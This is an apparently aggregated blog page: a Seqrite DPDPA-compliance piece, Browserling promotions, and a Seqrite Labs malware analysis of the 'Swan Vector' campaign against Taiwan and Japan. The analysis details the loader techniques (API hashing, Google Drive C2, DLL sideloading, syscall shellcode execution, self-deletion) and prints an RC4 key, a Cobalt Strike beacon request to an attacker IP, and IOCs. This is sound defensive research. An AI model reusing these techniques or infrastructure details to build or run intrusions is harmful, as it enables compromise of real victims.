      2. For other organizations, appoint privacy champions across key departments to ensure localized accountability and awareness and user-friendly consent forms that allow individuals to opt in or opt out easily.
      3. Regularly review and update consent mechanisms to align with evolving DPDPA guidelines.
    1. Engage with Legal and Compliance Experts:

      1. Partner with legal professionals to stay updated on DPDPA regulations and interpret its requirements for your industry.
      2. Seqrite’s advisory services can provide tailored guidance to streamline compliance efforts.
    1. Strengthen Cybersecurity Infrastructure:

      1. Deploy advanced cybersecurity solutions to safeguard personal data, such as endpoint protection, threat detection, and data loss prevention tools.
      2. Seqrite’s suite of cybersecurity products, including endpoint security and data encryption solutions, can help organizations meet DPDPA’s security standards.
    1. Develop a Data Breach Response Plan:

      1. Create a comprehensive plan outlining steps to detect, contain, and report data breaches.
      2. Conduct regular drills to ensure your team is prepared to respond effectively.

    Why DPDPA Compliance Matters

    Compliance with the DPDPA is more than a regulatory checkbox—it’s a competitive advantage. Non-compliance can result in significant fines and reputational damage, while proactive adherence builds customer trust and strengthens brand credibility. In today’s data-driven economy, prioritizing data protection is a strategic move that sets organizations apart.

    How Seqrite Can Help

    Seqrite, a cybersecurity and data protection leader, offers a comprehensive suite of solutions to support DPDPA compliance. From endpoint security to data encryption and threat intelligence, Seqrite’s tools are designed to protect sensitive data and ensure regulatory adherence. Additionally, Seqrite’s expert resources and advisory services empower organizations to navigate the complexities of data protection confidently.

    Conclusion

    The DPDPA is a critical step toward protecting personal data in India, and compliance is a shared responsibility for all organizations. Businesses can align with the law and build trust by implementing practical measures like consent management, robust cybersecurity, and employee training. With Seqrite’s cybersecurity expertise and solutions, organizations can confidently meet DPDPA requirements while safeguarding their data and reputation.

    For more information on how Seqrite can help you achieve DPDPA compliance, visit our website.



    Source link

  • 6.42 Million Google Clicks! 💸

    6.42 Million Google Clicks! 💸


    Yesterday Online PNG Tools smashed through 6.41M Google clicks and today it’s smashed through 6.42M Google clicks! That’s 10,000 new clicks in a single day – the smash train keeps on rollin’!

    What Are Online PNG Tools?

    Online PNG Tools offers a collection of easy-to-use web apps that help you work with PNG images right in your browser. It’s like a Swiss Army Knife for anything PNG-related. On this site, you can create transparent PNGs, edit icons, clean up logos, crop stamps, change colors of signatures, and customize stickers – there’s a tool for it all. The best part is that you don’t need to install anything or be a graphic designer. All tools are made for regular people who just want to get stuff done with their images. No sign-ups, no downloads – just quick and easy PNG editing tools.

    Who Created Online PNG Tools?

    Online PNG Tools were created by me and my team at Browserling. We’ve build simple, browser-based tools that anyone can use without needing to download or install anything. Along with PNG tools, we also work on cross-browser testing to help developers make sure their websites work great on all web browsers. Our mission is to make online tools that are fast, easy to use, and that are helpful for everyday tasks like editing icons, logos, and signatures.

    Who Uses Online PNG Tools?

    Online PNG Tools and Browserling are used by everyone – from casual users to professionals and even Fortune 100 companies. Casual users often use them to make memes, edit profile pictures, or remove backgrounds. Professionals use them to clean up logos, design icons, or prepare images for websites and apps.

    Smash too and see you tomorrow at 6.43M clicks! 📈

    PS. Use coupon code SMASHLING for a 30% discount on these tools at onlinePNGtools.com/pricing. 💸



    Source link

  • Motion Highlights #6 | Codrops

    Motion Highlights #6 | Codrops


    The

    New

    Collective

    🎨✨💻 Stay ahead of the curve with handpicked, high-quality frontend development and design news, picked freshly every single day. No fluff, no filler—just the most relevant insights, inspiring reads, and updates to keep you in the know.

    Prefer a weekly digest in your inbox? No problem, we got you covered. Just subscribe here.



    Source link

  • Monday Sale! 🎁

    Monday Sale! 🎁


    At Browserling and Online Tools we love sales.

    We just created a new automated Monday Sale.

    Now on Mondays, we show a 50% discount offer to all users who visit our site.

    Buy Now!

    What Is Browserling?

    Browserling is an online service that lets you test how other websites look and work in different web browsers, like Chrome, Firefox, or Safari, without needing to install them. It runs real browsers on real machines and streams them to your screen, kind of like remote desktop but focused on browsers. This helps web developers and regular users check for bugs, suspicious links, and weird stuff that happens in certain browsers. You just go to Browserling, pick a browser and version, and then enter the site you want to test. It’s quick, easy, and works from your browser with no downloads or installs.

    What Are Online Tools?

    Online Tools is a website that offers free, browser-based productivity tools for everyday tasks like editing text, converting files, editing images, working with code, and way more. It’s an all-in-one Digital Swiss Army Knife with 1500+ utilities, so you can find the exact tool you need without installing anything. Just open the site, use what you need, and get things done fast.

    Who Uses Browserling and Online Tools?

    Browserling and Online Tools are used by millions of regular internet users, developers, designers, students, and even Fortune 100 companies. Browserling is handy for testing websites in different browsers without having to install them. Online Tools are used for simple tasks like resizing or converting images, or even fixing small file problems quickly without downloading any apps.

    Buy a subscription now and see you next time!



    Source link

  • Targeting Taiwan & Japan with DLL Implants

    Targeting Taiwan & Japan with DLL Implants


    • Introduction
    • Initial Findings.
    • Infection Chain.
    • Technical Analysis.
      • Stage 1 – Malicious LNK Script.
      • Stage 2 – Malicious Pterois Implant.
      • Stage 3 – Malicious Isurus Implant.
      • Stage 4 – Malicious Cobalt Strike Shellcode.
    • Infrastructure and Hunting.
    • Attribution
    • Conclusion
    • Seqrite Protection.
    • IOCs
    • MITRE ATT&CK.

    Introduction

    Seqrite Labs APT-Team has recently uncovered a campaign which we have termed as Swan Vector, that has been targeting the nations across the East China sea such as Taiwan and Japan. The campaign is aimed at educational institutes and mechanical engineering industry with lures aiming to deliver fake resume of candidates which acts as a decoy.

    The entire malware ecosystem involved in this campaign comprises a total of four stages, the first being one being a malicious LNK, the second stage involves the shortcut file executing DLL implant Pterois via a very well-known LOLBin. It uses stealthy methods to execute and download the third stage containing multiple files including legitimate Windows executable that is further used to execute another implant Isurus via DLL-Sideloading. This further executes the fourth stage that is the malicious Cobalt Strike shellcode downloaded by Pterois.

    In this blog, we’ll explore the sophistication and cover every minutia technical detail of the campaign we have encountered during our analysis. We will examine the various stages of this campaign, starting with the analysis of shortcut (.LNK) file to multiple DLL implants ending with analyzing the shellcode with a final overview.

    Initial Findings

    Recently in April, our team found a malicious ZIP file named as 歐買尬金流問題資料_20250413 (6).rar which can be translated to Oh My God Payment Flow Problem Data – 2025/04/13 (6) , which has been used as preliminary source of infection, containing various files such as one of them being an LNK and other a file with .PNG extension.

    The ZIP contains a malicious LNK file named, 詳細記載提領延遲問題及相關交易紀錄.pdf.lnk. which translates to, “Shortcut to PDF: Detailed Documentation of Withdrawal Delay Issues and Related Transaction Records.pdf.lnk”, which is responsible for running the DLL payload masqueraded as a PNG file known as Chen_YiChun.png. This DLL is then executed via a very well-known LOLBin that is RunDLL32.exe which further downloads other set of implants and a PDF file, which is a decoy.

    Looking into the decoy

    As, the first DLL implant aka Pterois was initially executed via the LOLBin, we saw a decoy file named rirekisho2025 which basically, stands for a nearly Japanese translation for Curriculum Vitae (CV 2025) was downloaded and stored inside the Temp directory along-side other implants and binaries. In the first page, there is a Japanese resume/employment history form “履歴書・職歴経歴書” dated with the Reiwa era format (令和5年4月). The form has a basic header section with fields for personal information including name (氏名), date, gender selection (男/女), birth date, address fields, email address (E-Mail), and contact numbers. There’s also a photo placeholder box in the upper right corner. The decoy appears to be mostly blank with rows for entering education and work history details. Notable fields include entries for different years (月), degree/qualification levels, and employment dates. At the bottom, there are sections for licenses/certifications and additional notes. In the second page, there are two identical sections labeled “職歴 1” and “職歴 2” for employment history entries. Each section contains fields for company name, position, employment dates, and a large notes section. The fields are arranged in a similar layout with spaces for company/organization name (会社・団体名), position title, dates of employment, and work-related details. There’s also a section with red text indicating additional about documents or materials (調査、調査料、ファイル等). In the third and last page, there is one more employment history section “職歴 3” with the same structure as the previous page – company name, position, employment dates, and notes. Below this, there are five additional employment history sections with repeated fields for company name, position, and employment dates, though these appear more condensed than the earlier sections. Each section follows the same pattern of requesting employment-related information in a structured format. Next, we will look into the infection chain and technical analysis.

    Infection Chain.

    Technical Analysis.

    We will break down the technical capabilities of this campaign into four different parts.

    Stage 1 – Malicious LNK Script.

    The ZIP contains a malicious LNK file, known as 詳細記載提領延遲問題及相關交易紀錄.pdf.lnk which translates to Detailed Record of Withdrawal Delay Issues and Related Transaction Records. Another name is also seen with the same LNK as 針對提領系統與客服流程的改進建議.pdf.lnk that translates to Suggestions for Improving the Withdrawal System and Customer Service Process. Creation time of LNK is 2025-03-04. Upon analyzing the contents of this malicious LNK file, we found that its sole purpose is to spawn an instance of the LOLBin rundll32.exe, which is then used to execute a malicious DLL implant named Pterois. The implant’s export function Trpo with an interesting argument 1LwalLoUdSinfGqYUx8vBCJ3Kqq_LCxIg, which we will look into the later part of this technical analysis, on how this argument is being leveraged by the implant.

    Stage 2 – Malicious Pterois Implant.

    Initially, upon examining the malicious RAR archive, along with the malicious LNK file, we found another file with .PNG extension known as Chen_YiChun.png . On doing some initial analysis, we figured out that the file is basically a DLL implant, and we have called it as Pterois. Now, let us examine the technicalities of this implant. While we did analyze the malicious LNK file, we did see that rundll32.exe is used to execute this DLL file’s export function Trpo. Looking inside the implant’s functionalities, it has two primary features, the first one is to perform API Hashing, and the latter is used to download the next stage of malware. The first function is responsible for resolving all APIs from the DLLs like NTDLL, UCRTBase, Kernel32 and other necessary libraries required, and the APIs required for desired functions. This is done by initially accessing the Process Environment Block (PEB) to retrieve the list of loaded modules. The code then traverses this list using the InMemoryOrderModuleList, which contains linked LDR_DATA_TABLE_ENTRY structures — each representing a loaded DLL. Within each LDR_DATA_TABLE_ENTRY, the BaseDllName field (a UNICODE_STRING) holds just the DLL’s filename (e.g., ntdll.dll), and the DllBase field contains its base address in memory.

    During traversal, the function converts the BaseDllName to an ANSI string, normalizes it by converting to uppercase and computes a case-insensitive SDBM hash of the resulting string. This computed hash is compared against a target hash provided to the function. If a match is found, the corresponding DLL’s base address is obtained from the DllBase field and returned. Now, once the DLL’s base address is returned, the code uses a similar case-insensitive SDBM hashing algorithm to resolve API function addresses within NTDLL.DLL. It does this by parsing the DLL’s Export Table, computing the SDBM hash of each exported function name, and comparing it to a target hash to find the matching function address. Here is a simple python script, which evaluates and performs hashing. So, in the first function, a total of four functions have been resolved. Similarly, the APIs for the other two dynamicalliy linked libraries ucrtbase.dll & Kernel32.dll , are being resolved in the same manner. In the next set of functions, where it is trying to resolve the APIs from DLLs like Iphlapi.dll , shell32.dll and WinHTTP.dll, it initially resolves the DLL’s base address just like the previous functions. Once it is returned, then it uses a simple yet pseudo-anti-analysis technique that is using Timer Objects to load these above DLLs. Initially it creates a timer-object using RtlCreateTimerQueue, once the Timer Object is created, then another API RtlCreateTimer is used to run a callback function, which is LoadLibraryW API in this case, further used to load the DLL. Then, the GetModuleHandleW is used to get a handle to the IPHLAPI.DLL. So, once it succeeds, the RtlDeleteTimerQueue API is used to delete and free the Timer Object. Then, finally an API GetAdaptersInfo is resolved via a hash. Similarly, other DLLs are also loaded in the same manner. Next, we will look into the later part of the implant that is the set of functions responsible for downloading the next stager. The function starts with initially getting the entire Command Line parameter comprising of the LOLBin and the argument, that later gets truncated to 1LwalLoUdSinfGqYUx8vBCJ3Kqq_LCxIg which basically is a hardcoded file-ID. Then it uses a technique to abuse Google Drive as a command-and-control server by first establishing authentication with legitimate OAuth credentials. After obtaining a valid access token through a properly formatted OAuth exchange, it uses the Google Drive API to retrieve files from specific hardcoded file IDs, including malicious executables, DLLs, and configuration files which it downloads to predetermined paths in C:\Windows\Temp.

    Then it sets the appropriate Content-Type header to “application/x-www-form-urlencoded” to ensure the request is processed correctly by Google’s authentication servers. Following this exchange, it performs precise JSON parsing capabilities, where it extracts the “access_token” field from Google’s response using cJSON_GetObjectItem. Looking into the memory dump clearly displays the obtained OAuth token beginning with “ya29.a0AZYk”, confirming a successful authentication process. Once this token is parsed and extracted then it is carefully stored and subsequently used to authorize API calls to Google Drive, allowing the implant to download additional payloads while appearing as legitimate traffic from Google Drive. The parsed JSON extracted from the memory looks something like this. Now, once the files are downloaded, another part of this implant uses CreateThread to spawn these downloaded decoy and other files to execute. Finally, these files are downloaded, and the decoy is spawned on the screen and the task of Pterois implant, is done. Well, the last part of this implant is, once the entire task is complete, it goes ahead and performs Self-Delete to cover its tracks and reduce the chance of detection.

    The self-deletion routine uses a delayed execution technique by spawning a cmd.exe process that pings localhost before deleting the file, ensuring the deletion occurs after the current process has completed and released its file handles.

    Next, we will look into the other DLL implant, which has been downloaded by this malicious loader.

    Stage 3 – Malicious Isurus Implant.

    The previous implant downloads a total of four samples. Out of which one of them is a legitimate Windows Signed binary known as PrintDialog.exe. Now, the other file PrintDialog.dll which is the other implant with compilation timestamp 2025-04-08 03:02:59 UTC, is responsible for running the shellcode contents present inside the ra.ini file, abuses a very well-known technique known as DLL-Sideloading by placing the malicious DLL in the current directory as PrintDialog.exe does not explicitly mention the path and this Implant which we call as Isurus performs malicious tasks. Looking, onto the export table, we can see that the malicious implant exports only two functions, one of them being the normal DllEntryPoint and the other being the malicious DllGetActivationFactory export function. Looking inside the export function, we can see that this Isurus performs API resolution via hash along with shellcode extraction and loads and executes the shellcode in memory. The implant initially resolves the APIs by performing the PEB-walking technique, traversing the Process Environment Block (PEB) to locate the base address of needed DLLs such as ntdll.dll and kernel32.dll. Once the base address of a target DLL is identified, the implant proceeds to manually parse the PE (Portable Executable) headers of the DLL to locate the Export Directory Table. Now, to resolve specific APIs, the implant employs a hashing algorithmCRC32. Instead of looking up an export by name, the loader computes a hash of each function name in the export table and compares it to precomputed constants embedded in the code to finally resolve the hashes. Now, let us look into how this implant extracts and loads the shellcode. It initially opens the existing file ra.ini with read permissions using CreateFileW API, then once it gets the handle, another API known as GetFileSize is used to read the size of the file. Once the file size is obtained, it is processed via ReadFile API. Then, using a hardcoded RC4 key wquefbqw the shellcode is then decrypted and returned. After extracting the shellcode, it is executed directly in memory using a syscall-based execution technique. This approach involves loading the appropriate syscall numbers into the EAX register and invoking low-level system calls to allocate memory, write the shellcode, change memory protections, and ultimately execute the shellcode—all without relying on higher-level Windows API functions. The PDB path of this implant also depicts the functionality:

    • C:\Users\test\source\repos\sysldr\x64\Release\weqfdqwefq.pdb

    In the next part, we will look into the malicious shellcode and its workings.

    Stage 4 – Malicious Cobalt Strike Shellcode.

    Upon looking into the file, we figured out that the shellcode is in encrypted format. Next, we decrypted the shellcode using the key, using a simple Python script. Further, on analyzing the shellcode, we found, that it is a Cobalt Strike based beacon. Therefore, here are the extracted configs. Extracted beacon config:

    Process Injection Targets:
    windir\syswow64\bootcfg.exe
    windir\sysnative\bootcfg.exe
    Infrastructural information:
    hxxps://52.199.49.4:7284/jquery-3.3.1.min.js
    hxxps://52.199.49.4:7284/jquery-3.3.2.min.js
    Request Body :
    GET /jquery-3.3.1.min.js HTTP/1.1
    Host: 52.199.49.4:7284
    
    
    User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.122 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Referer: http://code.jquery.com/
    Accept-Encoding: gzip, deflate
    Cookie: __cfduid=dT98nN_EYDF96RONtS1uMjE0IZIWy9GljNoWh6rXhEndZDFhNo_Ha4AmFQKcUn9C4ZUUqLTAI6-6HUu3jA-WcnuttiUnceIu3FbAlBPitw52PirDxM_nP460iXUlVqW6Lvv__Wr3k09xnyWZN4besu1gVlk3JWS2hX_yt5EioqY
    Connection: Keep-Alive
    Cache-Control: no-cache
    
    
    HTTP Settings GET Hash:
    52407f3c97939e9c8735462df5f7457d
    HTTP Settings POST Hash:
    7c48240b065248a8e23eb02a44bc910a

    Due to the extensive documentation and prevalence of Cobalt Strike in offensive security operations, an in-depth analysis is deemed unnecessary. Nonetheless, available extracted beacon configuration, confirm that the threat actor leveraged Cobalt Strike as a component of their intrusion toolkit in this campaign.

    Infrastructure and Hunting.

    As, we did encounter while reverse-engineering the implants, we found that the threat actor had been using Google-Drive as a command-and-control (C2) framework, which also leaked a lot of details such as sensitive API-keys and much more. We have found the associated details related to the threat actor’s infrastructure such as associated Gmail Address & list of implants, which had been scheduled by the threat actor for other campaigns, which have not been used In-The-Wild (ITW). Information related to Threat Actor’s Google Drive Account: {  “user”: {    “kind”: “drive#user”,    “displayName”: “Swsanavector56”,    “photoLink”: “https://lh3.googleusercontent.com/a/ACg8ocKiv7cWvdPxivqyPdYB70M1QTLrTsWUb-QHii8yNv60kYx8eA=s64”,    “me”: true,    “permissionId”: “09484302754176848006”,    “emailAddress”: “swsanavector42@gmail.com”  }} List of files found inside the Google Drive

    File Name File ID Type Size SHA-256 Hash
    PrintDialog.exe 14gFG2NsJ60CEDsRxE5aXvFN0Fs83YMMG EXE 123,032 bytes 7a942f65e8876aeec0a1372fcd4d53aa1f84d2279904b2b86c49d765e5a29d6f
    PrintDialog.dll 1VMrUQlxvKZZ-fRyQ8m3Ai8ZEhkzE3g5T DLL 108,032 bytes a9b33572237b100edf1d4c7b0a2071d68406e5931ab3957a962fcce4bfc2cc49
    ra.ini 1JAXiUPz6kvzOlokDMDxDhA4ohidt094b INI 265,734 bytes 0f303988e5905dffc3202ad371c3d1a49bd3ea5e22da697031751a80e21a13a7
    rirekisho2025.pdf 17hO28MbwD2assMsmA47UJnNbKB2fpM_A PDF 796,062 bytes 8710683d2ec2d04449b821a85b6ccd6b5cb874414fd4684702f88972a9d4cfdd
    rirekisho2021_01.pdf 1LwalLoUdSinfGqYUx8vBCJ3Kqq_LCxIg PDF 796,062 bytes 8710683d2ec2d04449b821a85b6ccd6b5cb874414fd4684702f88972a9d4cfdd
    wbemcomn.dll 1aY5oX6EIe4hfGD6QgAAzmCcwxM4DoLke DLL 181,760 bytes c7b9ae61046eed01651a72afe7a31de088056f1c1430b368b1acda0b58299e28
    svhost.exe 1P8_PG2DGtLWA3q8F4XPy43GMLznZFtQv EXE 209,920 bytes e0c6f9abfc11911747a7533f3282e7ff0c10fc397129228621bcb3a51f5be980
    0g9pglZr74.ini 1UE7gNfUIuTRzgjIv188hRIZG3YNtbvkV INI 265,734 bytes 9fb57a4c6576a98003de6bf441e4306f72c83f783630286758f5b468abaa105d
    KpEvjK3KG2.enc 1RxJi1RZMhcF31F1lgQ9TJfXMuvSJkYQl ENC 265,734 bytes e86feaa258df14e3023c7a74b7733f0b568cc75092248bec77de723dba52dd12
    LoggingPlatform.dll 1lZgq1ZNkK88eJsl6GlcvpzRuFlBgxEOF DLL 112,640 bytes 9df9bb3c13e4d20a83b0ac453e6a2908b77fc2bf841761b798b903efb2d0f4f7
    0g9pglZr74.ini 1ky1fEzC6v70U8-RbHBZG_i3YI79Ir8Og INI 265,734 bytes 9fb57a4c6576a98003de6bf441e4306f72c83f783630286758f5b468abaa105d
    python310.dll 1RuMLCJJ5hcFiVXbcg8kZK3giueWiVbTJ DLL 189,952 bytes e1b2d0396914f84d27ef780dd6fdd8bae653d721eea523f0ade8f45ac9a10faf
    ra.ini 13ooFQAYZ27Bx015UQG3qkHR293wlcL90 INI 265,734 bytes 777961d51eb92466ca4243fa32143520d49077a3f7c77a2fcbec183ebf975182
    pythonw.exe 19n1ta4hyQguQQmR8C6SAsZuGNQF4-ddU EXE 97,000 bytes 040d121a3179f49cd3f33f4bc998bc8f78b7f560bfd93f279224d69e76a06e92
    python.xml 1k4Q18FByEXW98Rr1CXyVVC-Kj8T0NBDW XML 1,526 bytes c8ed52278ec00a6fbc9697661db5ffbcbe19c5ab331b182f7fd0f9f7249b5896
    OneDriveFileLauncher.exe 137tczdqf5R7RMRoOb9fI_YjZuncd_TUn EXE 392,760 bytes 7bf5e1f3e29beccca7f25d7660545161598befff88506d6e3648b7b438181a75
    wbemcomn.dll 1xUPkhfaWIgYs5HSmxYPC_sZT4QKm_T7i DLL 181,760 bytes c7b9ae61046eed01651a72afe7a31de088056f1c1430b368b1acda0b58299e28
    0g9pglZr74.ini 1Ylpf9XVnztxeGk-joNw9df3b0Mv8wYU3 INI 265,734 bytes 9fb57a4c6576a98003de6bf441e4306f72c83f783630286758f5b468abaa105d
    svhost.exe 1wo1gZ9acixvy925lM6QAkz6Uaj6cRXxx EXE 209,920 bytes e0c6f9abfc11911747a7533f3282e7ff0c10fc397129228621bcb3a51f5be980
    llv 1ZuzB7x0zzgz34eNhHp_TI3auPhHj8Xhc Folder

    We also observed this host-address was being used where the Cobalt-Strike was being hosted under ASN 16509 with location of IP being in Japan. Also, apart from the Google Drive C2, we have also found that the Gmail address has been used to create accounts and perform activities which have currently been removed under multiple platforms like Google Maps, YouTube and Apple based services.

    Attribution.

    While attribution remains a key perspective when analyzing current and future motives of threat actors, we have observed similar modus operandi to this campaign, particularly in terms of DLL sideloading techniques. Previously, the Winnti APT group has exploited PrintDialog.exe using this method. Additionally, when examining the second implant, Isurus, we found some similarities with the codebase used by the Lazarus group, which has employed DLL sideloading techniques against wmiapsrv.exe – a file that was found uploaded to the threat actor’s Google Drive account. Along with which we have found a few similarities between Swan Vector and APT10’s recent targets across Japan & Taiwan.

    While these observations alone do not provide concrete attribution, when combined with linguistic analysis, implant maturity, and other collected artifacts, we are attributing this threat actor to the East Asian geosphere with medium confidence.

    Conclusion.

    Upon analysis and research, we have found that the threat actor is based out of East Asia and have been active since December 2024 targeting multiple hiring-based entities across Taiwan & Japan. The threat actor relies on custom development of implants comprising of downloader, shellcode-loaders & Cobalt Strike as their key tools with heavily relying on multiple evasion techniques like API hashing, Direct-syscalls, function callback, DLL Sideloading and self-deletion to avoid leaving any sort of traces on the target machine.

    We believe that the threat actor will be using the above implants which have been scheduled for upcoming campaigns which will be using DLL sideloading against applications like Python, WMI Performance Adapter Service, One Drive Launcher executable to execute their malicious Cobalt Strike beacon with CV-based decoys.

    Seqrite Protection.

    • Pterois.S36007342.
    • Trojan.49524.GC
    • trojan.49518.GC.

    Indicators-Of-Compromise (IOCs)

    Decoys (PDFs)

    Filename SHA-256
    rirekisho2021_01.pdf 8710683d2ec2d04449b821a85b6ccd6b5cb874414fd4684702f88972a9d4cfdd
    rirekisho2025.pdf 8710683d2ec2d04449b821a85b6ccd6b5cb874414fd4684702f88972a9d4cfdd

    IP/Domains

    Malicious Implants

    Filename SHA-256
    wbemcomn.dll c7b9ae61046eed01651a72afe7a31de088056f1c1430b368b1acda0b58299e28
    LoggingPlatform.dll 9df9bb3c13e4d20a83b0ac453e6a2908b77fc2bf841761b798b903efb2d0f4f7
    PrintDialog.dll a9b33572237b100edf1d4c7b0a2071d68406e5931ab3957a962fcce4bfc2cc49
    python310.dll e1b2d0396914f84d27ef780dd6fdd8bae653d721eea523f0ade8f45ac9a10faf
    Chen_YiChun.png de839d6c361c7527eeaa4979b301ac408352b5b7edeb354536bd50225f19cfa5
    針對提領系統與客服流程的改進建議.pdf.lnk 9c83faae850406df7dc991f335c049b0b6a64e12af4bf61d5fb7281ba889ca82

    Shellcode and other suspicious binaries

    Filename SHA-256
    0g9pglZr74.ini 9fb57a4c6576a98003de6bf441e4306f72c83f783630286758f5b468abaa105d
    ra.ini 0f303988e5905dffc3202ad371c3d1a49bd3ea5e22da697031751a80e21a13a7
    python.xml c8ed52278ec00a6fbc9697661db5ffbcbe19c5ab331b182f7fd0f9f7249b5896
    KpEvjK3KG2.enc e86feaa258df14e3023c7a74b7733f0b568cc75092248bec77de723dba52dd12

    MITRE ATT&CK.

    Tactic Technique ID Technique Name Sub-technique ID Sub-technique Name
    Initial Access T1566 Phishing T1566.001 Spearphishing Attachment
    Execution T1129 Shared Modules
    Execution T1106 Native API
    Execution T1204 User Execution T1204.002 Malicious File
    Persistence T1574 Hijack Execution Flow T1574.001 DLL Sideloading
    Privilege Escalation T1055 Process Injection T1055.003 Thread Execution Hijacking
    Privilege Escalation T1055 Process Injection T1055.004 Asynchronous Procedure Call
    Defense Evasion T1218 System Binary Proxy Execution T1218.011 Rundll32
    Defense Evasion T1027 Obfuscated Files or Information T1027.007 Dynamic API Resolution
    Defense Evasion T1027 Obfuscated Files or Information T1027.012 LNK Icon Smuggling
    Defense Evasion T1027 Obfuscated Files or Information T1027.013 Encrypted/Encoded File
    Defense Evasion T1070 Indicator Removal T1070.004 File Deletion
    Command and Control T1102 Web Service

    [ad_2]
    Source link